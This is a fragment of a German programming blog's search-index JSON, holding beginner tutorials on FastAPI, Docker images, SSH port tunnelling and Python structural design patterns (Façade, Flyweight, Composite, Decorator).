Api\u0026rsquo;s. Aufgrund der großen Menge von API\u0026rsquo;s willst du möglichst wenig Schreibarbeit mit jeder einzelnen API haben. Das Pythonmodul FastAPI nimmt sich diesem Problem an.\nDas Projekt wurde im Dezember 2018 von Sebastián \u0026rsquo;tiangolo\u0026rsquo; Ramírez auf Github gestellt und wird seitdem aktiv weiterentwickelt.","title":"Wie Du Eine Api in Python Bereitstellst - Fastapi Tutorial Für Anfänger"},{"content":"In den letzten Jahren hat sich Docker zum quasi Standard für Microserviceumgebungen herangemausert. Es ermöglicht jedem Service in einer eigenen Umgebung zu laufen ohne für jeden Service ein komplettes Betriebssystem installieren zu müssen. Warum ist Docker so erfolgreich? Docker Container sind besser als klassische Virtualisierungen weil sie \u0026hellip;\ndeutlich schlanker sind nicht zwangsläufig eigene IP-Adresse im Netzwerk brauchen von Haus aus IaC (Infrastrcuture As Code) bereitstellen schnell redeployed werden können mit Kubernetes zusammen riesige, skalierende Servicenetzwerke anbieten können In diesem Tutorial lernst du was Docker ist und wie du dein erstes Docker Image erzeugst und ausführst.\nWas ist Docker Docker ist eine Technologie zur Virtualisierung von Services. Bei klassischer Virtualisierung wird eine ganze Linux bzw. Windows Installation bereitgestellt. Das hat zur Folge, dass für jede Instanz oft mehrere Gigabyte an Speicher benötigt werden und die Installation entsprechend lange dauert. Docker geht einen anderen Weg!\nContainer System Um einen Service auf Docker laufen zu lassen brauchst du zwei Dinge: - ein Hostsystem\nein Docker Image Das Hostsystem kannst du auf allen gängigen Betriebssystemen installieren (Klick). Die meisten Docker Container benötigen eine Linux Umgebung. Deswegen solltest du bei der Windows und der Mac OS Installation darauf achten Linux Container Ausführung zu aktivieren. Das Docker Image beschreibt, wie sich der Container beim Zeitpunkt des Hochfahrens verhalten soll. Du kannst entweder ein fertiges Image aus dem Internet laden oder dein eigenes verwenden. Die meisten kostenlosen Images findest du übrigens auf Docker Hub. In diesem Beitrag lernst du zusätzlich wie du dein erstes eigenes Docker Image erzeugst.\nGeteiltes Betriebssystem Auf dem Dockerhostsystem werden die Betriebssystemdateien allen darauf installierten Docker Containern als geteilte Ressourcen bereitgestellt. Das hat den Vorteil, dass diese nur einmal vorhanden sein müssen. Anschließend wird - ähnlich wie bei klassischen Virtualisierungshostsystemen - den installierten Services auf den einzelnen Containern vorgegaukelt der einzige installierte Service zu sein. Skizze des Dockerprinzips von App bis Infrastruktur\nPort Management Jeder Service Container bietet seinen Service meist auf einem oder mehreren Ports an. Das Dockerhostsystem hat jetzt die Möglichkeit diese Ports nach außen erreichbar zu machen. Für andere Computer im Netzwerk sieht es dann so aus, als würden diese Services auf dem Dockerhostsystem laufen (was sie praktisch ja auch tun). Damit es keine Portüberschneidungen gibt, kann das Dockerhostsystem selbst entscheiden auf welchen Port der jeweilige Service des Containers angeboten wird.\nPersistente Speicher (Volumes) Sobald ein Docker Container neu startet wird der Container mithilfe des Images von Grund auf neu installiert. Deswegen sind gespeicherte Dateien immer nur temporär. Wenn du persistente Daten verwenden möchtest, musst du das explizit angeben. Der gängigste Weg ist ein Volume bereitzustellen. Dieses Volume muss beim Start des Containers angegeben werden. Dafür kannst du zum Beispiel einen Ordner in deinem Betriebssystem nehmen. Volumes können übrigens auch zwischen mehreren Containern geteilt werden. Dadurch können die Container Dateien austauschen.\nWie du ein Docker Image erstellst Ist Docker installiert, geht es ans Eingemachte. Prinzipiell ist es egal, von welchem System du deine Docker Container Images baust. Theoretisch sind die Container auf allen anderen Systemen lauffähig. Üblicherweise werden Linux Container verwendet. Für manche Anwendungen sind aber auch Windows Container sinnvoll. Etwa bei MS SQL Datenbankcontainern. Um ein Docker Image zu erstellen, benötigst du in jedem Fall eine Dockerfile. In dieser Datei wird das Verhalten des Containers definiert. Der Inhalt der Dockerfile listet die Befehle in Ausführreihenfolge auf, die zum Installieren des Containers benötigt werden. Hier die möglichen Befehle.\nBefehl Beschreibung FROM Spezifiziert das Basisimage (wie Vererbung). Dieses MUSS vorhanden sein LABEL Zusätzliche Metadaten, etwa für Infos über die Maintainer ENV setzt eine persistente Umgebungsvariable RUN führt ein (Shell-) Kommando aus (und erstellt ein Image Layer)\u0026hellip; Du kannst es benutzen, um Pakete in deinen Container zu installieren COPY Kopiert Dateien oder Ordner von deinem Buildsystem in das Image ADD Funktioniert ähnlich wie COPY. Entpackt allerdings .tar Dateien und lädt Links herunter CMD Das Hauptkommando mit Argumenten für diesen Container. Es darf jedoch nur einen CMD Befehl pro Dockerfile geben. Parameter können übrigens überschrieben werden. WORKDIR Setzt das Arbeitsverzeichnis für die folgenden Befehle und ist daher vergleichbar mit dem cd Kommando in Linux \u0026amp; Windows CLI\u0026rsquo;s ARG Definiert eine Variable, welche du beim Bauen mitgeben kannst ENTRYPOINT Gibt Kommandos und Argumente an die beim Ausführen mitgegeben werden können. Argumente sind dabei persistent. EXPOSE Gibt einen Port frei VOLUME Erstellt einen Mountpunkt um darüber auf persistente Daten zugreifen zu können Container Neue Docker Container müssen auf anderen, bereits existierenden Container Images aufbauen und ergänzen diese um zusätzliche Software. Folglich musst du in der Dockerfile mit dem FROM Befehl ein Basisimage angeben. Hier ein paar der populärsten Container Images die du verwenden kannst:\ncontainer Beschreibung scratch Kleinstmöglichstes Image Alpine Alpine Linux Distribution busybox Busybox Linux Distribution Centos Centos Linux Distribution Debian Debian Linux Distribution Ubuntu Ubuntu Linux Distribution Postgres Postgres Datenbank (Objekt-relationales Datenbankensystem) Redis Redis Datenbank (key-value Speicher) Node Node.js Umgebung (JavaScript basierte Plattform für serverseitige- und Netzwerkapplikationen) Nginx NGINX Service (Webserver) Mysql mysql Datenbank (relationales Datenbanksystem) Mongo MongoDB Datenbank (Binärspeicher mit Funktionen für high availablity und hoher Skalierbarkeit) Httpd Apache Service (Webserver) Mariadb MariaDB Datenbank (relationales Datenbanksystem) Golang Golang Umgebung (Go ist eine beliebte und schnelle Programmiersprache für Serverseitige Anwendungen) Wordpress Wordpress System (Content Management System für Blogs und ähnlichen Webseiten) Weitere findest du hier: https://hub.docker.com/search?q=\u0026amp;type=image\nDiese vorgefertigten Images bieten oft einen schnellen Start für den eigenen Container. Viele Images werden auch mit unterschiedlichen Distributionen angeboten. So basiert das normale Pythonimage auf Debian. Es gibt aber auch die deutlich kleinere auf Alpine basierende Version (nur 5,6 MB anstatt 114 MB). Diese werden mithilfe von Tags gespeichert. Du wählst sie mit dem Doppelpunkt nach dem Imagenamen.\nDockerfile Beispiel Erstelle im aktuellen Verzeichnis eine Datei app.py:\nprint(Hallo Welt!) und eine Datei dockerfile:\nFROM python:3.9-alpine COPY app.py /app/app.py CMD python /app/app.py Baue das Image mit docker build.\ndocker build . -t hallowelt Und führe es mit docker run aus.\ndocker run hallowelt Hallo Welt! Was ist eine Docker Container Registry Dieses Image hast du nur auf deinem Rechner gebaut. Um es anderen Entwicklern bereitzustellen, kannst du es auf Docker Hub oder einer anderen Registry hochladen. Eine Registry ist also ein Service der Docker Images speichert. Docker Hub ist für öffentliche Images gratis. Hier findest du eine Anleitung wie es verwendest. Das Beispiel aus diesem Beitrag habe ich hier hochgeladen. Du kannst es mit folgendem Befehl herunterladen und Ausführen:\ndocker run quisl/hallowelt:latest Übrigens: Ich habe hier im Beispiel den latest Tag verwendet. Dies ist eigentlich kein richtiger Tag. Stattdessen nimmt Docker bei latest automatisch die neuste Version des Images.\n","permalink":"https://quisl.de/b/was-ist-docker/","summary":"In den letzten Jahren hat sich Docker zum quasi Standard für Microserviceumgebungen herangemausert. Es ermöglicht jedem Service in einer eigenen Umgebung zu laufen ohne für jeden Service ein komplettes Betriebssystem installieren zu müssen. Warum ist Docker so erfolgreich? Docker Container sind besser als klassische Virtualisierungen weil sie \u0026hellip;\ndeutlich schlanker sind nicht zwangsläufig eigene IP-Adresse im Netzwerk brauchen von Haus aus IaC (Infrastrcuture As Code) bereitstellen schnell redeployed werden können mit Kubernetes zusammen riesige, skalierende Servicenetzwerke anbieten können In diesem Tutorial lernst du was Docker ist und wie du dein erstes Docker Image erzeugst und ausführst.","title":"Was Ist Docker - Service Virtualisierung - Wie du eine Microservice Architektur bereitstellst"},{"content":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als bei den Creational Pattern geht es dabei nicht darum Objekte zu erstellen. Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag lernst du diese 2 Design Pattern:\nFaçade Pattern Flyweight Pattern Façade Pattern “A Façade provides a simple, easy to understand user interface over a large and sophisticated body of code.” - Dmitri Nesteruk\nBei einem Haus ist die Fassade der ansehnlich gestaltete Teil der Außenwand. Meistens bezieht sich der Begriff auf die Seite des Gebäudes, die der Straße zugewandt ist. Das Wort kommt aus dem Lateinischen facies und bedeutet Angesicht bzw. Gesicht.\nDas Mauerwerk hinter der Fassade ist der eigentliche Zweck der Mauer. Die Fassade ist aber das, was die anderen Menschen sehen sollen.\nAuch in der Programmierung gibt es Teile deines Codes, die so komplex sind, dass du sie anderen Entwicklern nicht als API bereitstellen willst. Da diese Teile allerdings oft unverzichtbar für die Funktion der Software sind, kannst du das Façade Pattern einsetzen. Dieses Pattern hilft dir, dieselbe Funktionalität in schön bereitzustellen.\nDabei versteckst du komplexen Code hinter einen einfachen Aufruf. Dieser Aufruf ist zum einen einfacher zu verstehen. Zum anderen ist er in der Regel auch einfacher zu schreiben da du durch ihn mehrere Aufrufe kombinieren kannst.\nAndere Design Patterns basieren auf einer ähnlichen Idee. So könntest du zum Beispiel das Factory Method Pattern als eine spezielle Variante des Façade Pattern sehen. Mit dem Unterschied, dass die Factory Method immer ein Objekt erzeugt während das Façade Pattern einfach nur komplexen Code versteckt.\nFür das Pythonbeispiel bleiben wir beim Hausbau: Ein Haus besteht grob aus einem Fundament, einer Mauer und einem Dach. Wenn du es programmierst, sieht es etwa wie folgt aus.\nclass Fundament: def __init__(self, farbe): print(f\u0026#34;Baue Fundament in {farbe} ...\u0026#34;) self.farbe = farbe def __str__(self): return f\u0026#34;Fundament in {self.farbe}\u0026#34; class Mauern: def __init__(self, farbe, fundament): print(f\u0026#34;Baue Mauern in {farbe} auf {fundament} ...\u0026#34;) self.farbe = farbe def __str__(self): return f\u0026#34;Mauern in {self.farbe}\u0026#34; class Dach: def __init__(self, farbe, mauern): print(f\u0026#34;Baue Dach in {farbe} auf {mauern} ...\u0026#34;) self.farbe = farbe def __str__(self): return f\u0026#34;Dach in {self.farbe}\u0026#34; class Haus: # Dies ist unsere Facade Pattern Klasse def __init__(self, fundamentfarbe, mauerfarbe, dachfarbe): self.f = Fundament(fundamentfarbe) self.m = Mauern(mauerfarbe,self.f) self.d = Dach(dachfarbe,self.m) def __str__(self): return f\u0026#34;Mein Haus besteht aus einem {self.f}, {self.m} und einem {self.d}!\u0026#34; Für ein Haus benötigst du das Fundament, die Mauern und das Dach. Da du diese drei Klassen in der Regel immer zusammen benötigst, kannst du anderen Entwicklern etwas Schreibarbeit einsparen, indem du das Facade Pattern einsetzt. Die Fassade ist in diesem Fall die Klasse Haus.\nif __name__ == \u0026#34;__main__\u0026#34;: print(\u0026#34;Variante ohne Fassade:\u0026#34;) print(\u0026#34;==================\u0026#34;) f = Fundament(\u0026#34;Grau\u0026#34;) m = Mauern(\u0026#34;Gelb\u0026#34;,f) d = Dach(\u0026#34;Rot\u0026#34;,m) print(f\u0026#34;Mein Haus besteht aus einem {f}, {m} und einem {d}!\u0026#34;) print(\u0026#34;==================\u0026#34;) print(\u0026#34;\u0026#34;) print(\u0026#34;==================\u0026#34;) print(\u0026#34;Variante mit Fassade:\u0026#34;) print(\u0026#34;==================\u0026#34;) h = Haus(\u0026#34;Grau\u0026#34;, \u0026#34;Gelb\u0026#34;, \u0026#34;Rot\u0026#34;) print(h) print(\u0026#34;==================\u0026#34;) Variante ohne Fassade:\r==================\rBaue Fundament in Grau ...\rBaue Mauern in Gelb auf Fundament in Grau ...\rBaue Dach in Rot auf Mauern in Gelb ...\rMein Haus besteht aus einem Fundament in Grau, Mauern in Gelb und einem Dach in Rot!\r==================\r==================\rVariante mit Fassade:\r==================\rBaue Fundament in Grau ...\rBaue Mauern in Gelb auf Fundament in Grau ...\rBaue Dach in Rot auf Mauern in Gelb ...\rMein Haus besteht aus einem Fundament in Grau, Mauern in Gelb und einem Dach in Rot!\r================== Du kannst schnell erkennen, dass beide Varianten dasselbe Ergebnis produzieren. Die Variante mit der Fassade ist allerdings deutlich verständlicher: Jeder weiß was ein Haus ist. Aber nicht jeder weiß aus welchen Teilen ein Haus zusammengesetzt wird.\nDarüber hinaus wird dein Code deutlich schlanker so fern du die Fassade nutzt. In diesem Fall brauchst du nur 2 anstelle von 4 Zeilen Code.\nFlyweight Pattern Normalerweise skaliert der Speicherplatz linear mit der Größe der Liste. Je größer eine Liste, desto höher ist der Speicherverbrauch.\nDas muss nicht unbedingt so sein!\nDas Flyweight Pattern kannst du einsetzen, um bei besonders großen Datenmengen Speicherplatz zu sparen. Die Idee dieses Pattern ist:\nähnliche Daten zusammenzufassen diese extern abzuspeichern die Einträge entsprechend zu verlinken Das Prinzip kannst du ganz einfach anhand einer Telefonbuchdatenbank verstehen. Sie enthält alle Telefonnummern und speichert zu jeder Telefonnummer einen Namen.\nDer Trick ist: Namen sind keine zufälligen Strings. Manche Namen kommen in Deutschland sehr häufig vor. So gab es im Jahr 1996 über 320.000 Telefonbucheinträge mit dem Namen \u0026ldquo;Müller\u0026rdquo; in Deutschland. \u0026ldquo;Schmidt\u0026rdquo; gab es 235.000 Mal.\nDamit du einen Namen im ISO 8859-1 (Latin-1) Format speichern kannst benötigst du mindestens ein Byte pro Buchstaben. Bei Schmidt wären es also schon 7 Byte. Zeichenkodierungsstandards die auch asiatische Namen speichern können benötigen oft noch mehr Speicherplatz pro Buchstaben.\nDas Flyweight Pattern lehrt dir, die Namen in einer eigenen Tabelle zu speichern und anschließend von deiner Telefonbuchadresse auf diese Tabelle zu verlinken. Verlinkungen sind nämlich deutlich Speicher freundlicher als Kopien:\nprint(sys.getsizeof(\u0026#34;Müller\u0026#34;)) print(sys.getsizeof(1)) 79\r28 Im Folgenden siehst du nun zweimal dieselbe Implementation eines Telefonbuchs. Einmal mit und einmal ohne Flyweight Pattern.\nOhne Flyweight from typing import NamedTuple class Eintrag_alt(NamedTuple): name: str telefonnummer: str class Telefonbuch_alt(list): def __str__(self): output = \u0026#34;\u0026#34; for eintrag in self: output += ( f\u0026#34;{eintrag.name} hat die Nummer {eintrag.telefonnummer}\\n\u0026#34; ) return output telefonbuch_alt = Telefonbuch_alt() telefonbuch_alt.append(Eintrag_alt(\u0026#34;Müller\u0026#34;, \u0026#34;555 001\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Müller\u0026#34;, \u0026#34;555 002\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Müller\u0026#34;, \u0026#34;555 003\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Schmidt\u0026#34;, \u0026#34;555 004\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Schmidt\u0026#34;, \u0026#34;555 005\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Schneider\u0026#34;, \u0026#34;555 006\u0026#34;)) telefonbuch_alt.append(Eintrag_alt(\u0026#34;Fischer\u0026#34;, \u0026#34;555 007\u0026#34;)) print(telefonbuch_alt) Müller hat die Nummer 555 001\rMüller hat die Nummer 555 002\rMüller hat die Nummer 555 003\rSchmidt hat die Nummer 555 004\rSchmidt hat die Nummer 555 005\rSchneider hat die Nummer 555 006\rFischer hat die Nummer 555 007 Mit Flyweight class Eintrag_neu(NamedTuple): nameId: int telefonnummer: str class Telefonbuch_neu(list): nachnamen = {0: \u0026#34;Müller\u0026#34;, 1: \u0026#34;Schmidt\u0026#34;, 2: \u0026#34;Schneider\u0026#34;, 3: \u0026#34;Fischer\u0026#34;} def __str__(self): output = \u0026#34;\u0026#34; for eintrag in self: output += f\u0026#34;{self.nachnamen[eintrag.nameId]} hat die Nummer {eintrag.telefonnummer}\\n\u0026#34; return output telefonbuch_neu = Telefonbuch_neu() telefonbuch_neu.append(Eintrag_neu(0, \u0026#34;555 001\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(0, \u0026#34;555 002\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(0, \u0026#34;555 003\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(1, \u0026#34;555 004\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(1, \u0026#34;555 005\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(2, \u0026#34;555 006\u0026#34;)) telefonbuch_neu.append(Eintrag_neu(3, \u0026#34;555 007\u0026#34;)) Müller hat die Nummer 555 001\rMüller hat die Nummer 555 002\rMüller hat die Nummer 555 003\rSchmidt hat die Nummer 555 004\rSchmidt hat die Nummer 555 005\rSchneider hat die Nummer 555 006\rFischer hat die Nummer 555 007 Ein ähnliches Prinzip verwenden übrigens auch Kompressionsalgorithmen.\n","permalink":"https://quisl.de/b/structural-design-patterns-facade-flyweight/","summary":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als bei den Creational Pattern geht es dabei nicht darum Objekte zu erstellen. Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag lernst du diese 2 Design Pattern:\nFaçade Pattern Flyweight Pattern Façade Pattern “A Façade provides a simple, easy to understand user interface over a large and sophisticated body of code.","title":"2 Structural Design Patterns die du als Pythonentwickler kennen solltest – Nützliche Strukturmuster für Python: Façade \u0026 Flyweight"},{"content":"Ports über SSH tunneln um Whitelists oder komplexe Netzwerktopologien zu umgehen.\nStell dir vor, du hast einen Webserver aufgesetzt der intern mit einer Datenbank kommuniziert. Diese Datenbank willst du üblicherweise nicht öffentlich erreichbar haben. Stattdessen soll ausschließlich der Webserver mit dieser Datenbank kommunizieren.\nDas ist übliches Vorgehen bei Kubernetes Clustern. Normalerweise willst du möglichst wenige Schnittstellen nach außen haben, um Sicherheitslücken vorzubeugen.\nVor allem in der Aufbauphase kann es aber vonnöten sein hin und wieder mal manuell in die Datenbank hereinzuschauen. Dabei kann dir SSH Tunneling helfen!\nIn diesem Beitrag lernst du wie du SSH Tunneling sowohl mit Linux als auch mit Windows konfigurierst. Dadurch kannst du auf Netzwerkservices zugreifen die eigentlich hinter einer Firewall oder einem NAT Netzwerk stehen.\nTheorie SSH Port Tunneling Ausgangspunkt ist, dass du einen SSH Server hast, der auf eine bestimmte IP:Port Adresse zugreifen kann. Gleichzeitig kann dein eigener Rechner nicht auf diese Adresse zugreifen.\nSSH Port Tunneling gibt dir die Möglichkeit, die Verbindung über den SSH Server zu tunneln und über diesen Umweg auf die Adresse zugreifen zu können. Aus netzwerktechnischer Sicht sieht es dann so aus, als ob der SSH Server auf die IP-Adresse zugreift und sämtliche Ausgaben an deinen Rechner weiterleitet. So wird dem eigenen Rechner quasi vorgetäuscht direkt mit der Adresse verbunden zu sein.\nDarstellung von Port Tunneling über SSH\nSSH Port Tunneling mit Linux Mit Linux kannst du das mit dem ssh Tool machen. Dies ist bei so gut wie jeder Linux Distribution dabei. Das Tunneling startest du so wie eine normale SSH Verbindung und nutzt dabei den -L Parameter.\nssh -L PORTLOCAL:TARGET:PORTTARGET SSH Jetzt ersetzt du Folgendes:\nPORTLOCAL: Irgendein ungenutzter Port auf deinem Rechner. Am besten irgendeine Zahl über 8000 TARGET: IP-Adresse oder DNS Namen des Hosts, zu dem du dich verbinden willst (aber noch nicht kannst) PORTTARGET: Port TARGET mit dem du dich verbinden willst. Zum Beispiel 80 für HTTP. SSH: Die IP-Adresse oder der DNS Name des SSH Servers Also zum Beispiel:\nssh -L 8000:10.0.0.3:80 10.0.0.2 Solange die SSH Session läuft, kannst du auf localhost:8000 zugreifen.\nSSH Port Tunneling mit Putty (Windows) Wenn du auf Windows arbeitest, kannst du das kostenlose Tool \u0026ldquo;Putty\u0026rdquo; nutzen.\nDazu musst du Putty öffnen und im Startfenster bei Host Name die Adresse bzw. den DNS Namen des SSH Servers (10.0.0.2) eintragen.\nDann im Reiter Connection -\u0026gt; SSH -\u0026gt; Tunnels als Source Port 8000 und bei Destination die Adresse und den Port des Zielservers. Also 10.0.0.3:80.\nAnschließend kannst du es mit Add und Open bestätigen.\nSolange die SSH Session läuft, kannst du auf localhost:8000 zugreifen.\nKonfiguration eines SSH Tunnels mit Putty\nAbschluss Du solltest nun in deinem Browser localhost:8000 eingeben können und dabei den Service auf deinem Rechner angezeigt kriegen können, den eigentlich nur der SSH Server sehen würde. Das funktioniert natürlich nicht nur mit Webseiten, sondern auch mit Datenbanken und allen anderen Netzwerkdiensten.\nSolange das Tunneling aktiv ist, verhält sich dein Computer als hätte er eine direkte Verbindung zu 10.0.0.3.\n","permalink":"https://quisl.de/b/ssh-port-tunneling/","summary":"Ports über SSH tunneln um Whitelists oder komplexe Netzwerktopologien zu umgehen.\nStell dir vor, du hast einen Webserver aufgesetzt der intern mit einer Datenbank kommuniziert. Diese Datenbank willst du üblicherweise nicht öffentlich erreichbar haben. Stattdessen soll ausschließlich der Webserver mit dieser Datenbank kommunizieren.\nDas ist übliches Vorgehen bei Kubernetes Clustern. Normalerweise willst du möglichst wenige Schnittstellen nach außen haben, um Sicherheitslücken vorzubeugen.\nVor allem in der Aufbauphase kann es aber vonnöten sein hin und wieder mal manuell in die Datenbank hereinzuschauen.","title":"Wie du Netzwerktraffic über SSH tunnelst (Tutorial)"},{"content":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als bei den Creational Pattern geht es dabei nicht darum Objekte zu erstellen. Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag lernst du diese 2 Design Pattern:\nComposite Pattern Decorator Pattern Composite Pattern “A mechanism for treating individual (scalar) objects and compositions of objects in a uniform manner.” - Dmitri Nesteruk\nDas Ziel des Composite Pattern (dt. Kompositum/Zusammenstellungsmuster) ist es, Komponenten bzw. Gruppen von Objekten in gleicher weise anzusprechen. Du brauchst es also, wenn du keine Unterscheidung zwischen einem Objekt und einer Gruppe von Objekten treffen willst. Dadurch wird ein standardisiertes Interface sichergestellt.\nIm Allgemeinen können Objekte andere Objekte durch inheritance (dt. Vererbung) oder durch composition (dt. Komposition) beinhalten. Bei Objekten mit composition spricht man auch von compound objects (dt. Zusammengesetzte Objekte). Das bedeutet sie beinhalten Objekte von anderen Klassen.\nDas Composite Pattern wird verwendet um sowohl einzelne Objekte (engl. individual objects) als auch zusammengesetzte Objekte gleich benutzen zu können. Typischerweise ist das bei Bildern bzw. Grafiken der Fall. Sie sind oft aus kleineren Bildern zusammen gesetzt.\nComposite Pattern als Klassendiagramm\nIm folgenden Beispiel siehst du das Composite Pattern in Aktion. Die Grafik ist die Komponente. Sie kann mehrere Komposita (Kreis und Rechteck) beinhalten die ihrerseits von der Komponente erben und nur den Namen überschreiben.\nclass Grafik: def __init__(self): self.children = [] @property def name(self): return \u0026#34;Leinwand\u0026#34; def _print(self, items, depth): items.append(\u0026#34;*\u0026#34; * depth) items.append(f\u0026#34;{self.name}\\n\u0026#34;) for child in self.children: child._print(items, depth + 1) def __str__(self): items = [] self._print(items, 0) return \u0026#34;\u0026#34;.join(items) class Kreis(Grafik): @property def name(self): return \u0026#34;Kreis\u0026#34; class Rechteck(Grafik): @property def name(self): return \u0026#34;Rechteck\u0026#34; Dadurch lassen sich die Objekte ineinander verschachteln. Im Folgenden siehst du, wie eine Grafik aus einem Rechteck, einem Kreis und einer weiteren Leinwand besteht.\nif __name__ == \u0026#34;__main__\u0026#34;: zeichnung = Grafik() zeichnung.children.append(Rechteck()) zeichnung.children.append(Kreis()) unterzeichnung = Grafik() unterzeichnung.children.append(Kreis()) unterzeichnung.children.append(Rechteck()) zeichnung.children.append(unterzeichnung) print(zeichnung) Leinwand\r*Rechteck\r*Kreis\r*Leinwand\r**Kreis\r**Rechteck In diesem Beispiel verwende ich keine Blätter. Das wären Grafikobjekte, die keine eigenen Kinder haben können.\nDecorator Pattern “Facilitates the addition of behaviors to individual objects without inheriting from them.” - Dmitri Nesteruk\nMit dem Decorator Pattern (dt. Dekorierer) kannst du das Verhalten von Funktionen und Klassen verändern. Und zwar ohne ihren Code zu verändern oder zu überschreiben.\nDas funktioniert, indem du einen Wrapper um das jeweilige Objekt schreibst der zum einen das originale Objekt aufrufen kann. Und zum anderen ihn seinerseits noch um eigene Codezeilen ergänzt.\nWenn du den Code direkt veränderst, würde das gegen das Open Close Prinzip (OCP) und eventuell dem Single Responsibility Prinzip (SPR) verstoßen. Das wollen wir natürlich nicht.\nGenerell stehen dir für diese Veränderung zwei Optionen offen:\nvom zu verändernden Objekt erben und Methoden überschreiben einen Decorator bauen der auf das zu verändernden Objekt verweist Das Decorator Pattern nutzt wie schon der Name sagt die zweite Option.\nFunktion verändern Wenn es sich beim zu verändernden Objekt um eine Funktion handelt, brauchst du den Functional Decorator. Hier ein Beispiel für ein Decorator der die Ausführdauer einer Funktion misst.\nimport time def time_it(func): def wrapper(): start = time.time() func() end = time.time() print(f\u0026#34;{func.__name__} lief {int((end-start)*1000)} ms\u0026#34;) return wrapper Diesen Decorator kannst ihn auf zwei Arten ausführen. Zum einen in der Kurzschreibweise mit dem @ Zeichen vor der Funktionsdefinition.\n@time_it def funktion_mit_decorator(): print(\u0026#34;Starte\u0026#34;) time.sleep(1) print(\u0026#34;Fertig\u0026#34;) return def funktion_ohne_decorator(): print(\u0026#34;Starte\u0026#34;) time.sleep(1) print(\u0026#34;Fertig\u0026#34;) return Aber da wir - wie eingangs erwähnt - die Funktionsdefinition nicht verändern wollen (oder können) gibt es noch die Möglichkeit den Decorator beim Funktionsaufruf mitzugeben.\nHier siehst du die beiden Varianten.\nif __name__ == \u0026#34;__main__\u0026#34;: funktion_mit_decorator() time_it(funktion_ohne_decorator)() Starte\rFertig\rfunktion_mit_decorator lief 1008 ms\rStarte\rFertig\rfunktion_ohne_decorator lief 1009 ms Klasse inklusive Ableitungen verändern Du kannst auch das Verhalten einer ganzen Klasse inklusive deren Ableitungen verändern. Dazu schreibst du einen Wrapper für das Interface.\nIm Beispiel ein Form-Interface mit einer Implementation eines Rechtecks.\nfrom abc import ABC class Form(ABC): def __str__(self): return \u0026#34;\u0026#34; class Quadrat(Form): def __init__(self, seite): self.seite = seite def vergroessern(self, faktor): self.seite *= faktor def __str__(self): return f\u0026#34;ein Quadrat mit der Größe {self.seite}\u0026#34; Und jetzt kommt der Decorator. Dieser erbt von derselben Basisklasse wie das Rechteck. Dadurch stellst du sicher, dass dein Decorator auch mit anderen Ableitungen funktioniert. Theoretisch kannst du dir vorstellen, dass es noch eine Kreis-Klasse geben könnte die ebenfalls von der Form-Klasse abhängt.\nclass FarbigeForm(Form): def __init__(self, form, farbe): self.form = form self.farbe = farbe def __str__(self): return f\u0026#34;{self.form} hat die Farbe {self.farbe}\u0026#34; Diesen Klassendekorator setzt du ein, indem du ihn neu Instanziierst und das zu verändernde Objekt als Parameter reingibst.\nif __name__ == \u0026#34;__main__\u0026#34;: quadrat = Quadrat(2) print(quadrat) rotes_quadrat = FarbigeForm(quadrat, \u0026#34;rot\u0026#34;) print(rotes_quadrat) rotes_quadrat.form.vergroessern(3) print(rotes_quadrat) ein Quadrat mit der Größe 2\rein Quadrat mit der Größe 2 hat die Farbe rot\rein Quadrat mit der Größe 6 hat die Farbe rot Zu beachten ist, dass Funktionen die in der Konkretisierung (also hier in der Quadrat-Klasse) definiert sind nicht direkt verwendet werden können. Schließlich erbt der Decorator von der Basisklasse. Das ist bei der vergroessern() Funktion der Fall.\nDynamischer Decorator Zu guter letzte noch mal eine Variation des letzten Beispiels. Wenn man direkt auf vergroessern (und allen anderen Attributen von Quadrat) zugreifen möchte, kann man den Decorator noch dynamischer gestalten. Das würde dann wie folgt aussehen.\nclass FarbigeForm(Form): def __init__(self, form, farbe): self.form = form self.farbe = farbe def __str__(self): return f\u0026#34;{self.form} hat die Farbe {self.farbe}\u0026#34; def __iter__(self): return self.form.__iter__() def __next__(self): return self.form.__next__() def __getattr__(self, item): return getattr(self.form, item) def __setattr__(self, key, value): if key == \u0026#34;form\u0026#34;: self.__dict__[key] = value else: setattr(self.__dict__[\u0026#34;form\u0026#34;], key, value) def __delattr__(self, item): delattr(self.__dict__[\u0026#34;form\u0026#34;], item) if __name__ == \u0026#34;__main__\u0026#34;: quadrat = Quadrat(2) print(quadrat) rotes_quadrat = FarbigeForm(quadrat, \u0026#34;rot\u0026#34;) print(rotes_quadrat) rotes_quadrat.vergroessern(3) print(rotes_quadrat) ein Quadrat mit der Größe 2\rein Quadrat mit der Größe 2 hat die Farbe rot\rein Quadrat mit der Größe 6 hat die Farbe rot Dies ist nicht mehr die klassische Variante des Decorators, aber kann durchaus nützlich sein! Der Nachteil ist, dass durch die zusätzlichen Methodenaufrufe eine höhere Last entsteht. Dadurch kann sich die Performance reduzieren.\n","permalink":"https://quisl.de/b/structural-design-patterns-composite-decorator/","summary":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als bei den Creational Pattern geht es dabei nicht darum Objekte zu erstellen. 